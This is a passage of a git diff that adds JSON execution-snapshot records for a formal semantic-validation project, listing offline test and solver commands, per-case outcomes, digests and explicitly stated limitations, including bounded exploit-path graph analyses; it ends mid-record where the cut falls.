+ "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1357-execution-v45", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "764accface02435a33d4c48c76c506ab8ffded07", + "source_state": { + "base_revision": "764accface02435a33d4c48c76c506ab8ffded07", + "checkout_state": "modified", + "implementation_digest": "a6c52cd21e5a4847632b60abdaf57cb6046687474a41cdcd7457748851232294", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.11.15", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v46.json b/docs/research/formal-semantic-validation/execution-snapshot-v46.json new file mode 100644 index 000000000..8f97924aa --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v46.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1338-execution-v41", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v41.json", + "release_revision": "42.0.0", + "release_sha256": "7a0b838003e4006df8196e26b6cbde304a1a21cd212cc3d28b1da8f17e00d3a2" + }, + "captured_at": "2026-09-24T02:37:14.078730+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-1358-execution-v46", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1358-execution-v46", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "26e3e419158d5c6212060033a06174aa08ae501f", + "source_state": { + "base_revision": "26e3e419158d5c6212060033a06174aa08ae501f", + "checkout_state": "modified", + "implementation_digest": "1d904064b9699c289c385439bac144708f2f7434051baab6e78ed5c9e66194e4", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v47.json b/docs/research/formal-semantic-validation/execution-snapshot-v47.json new file mode 100644 index 000000000..b22d36637 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v47.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-1338-execution-v41", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v41.json", + "release_revision": "42.0.0", + "release_sha256": "7a0b838003e4006df8196e26b6cbde304a1a21cd212cc3d28b1da8f17e00d3a2" + }, + "captured_at": "2026-09-25T04:28:12.014375+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": 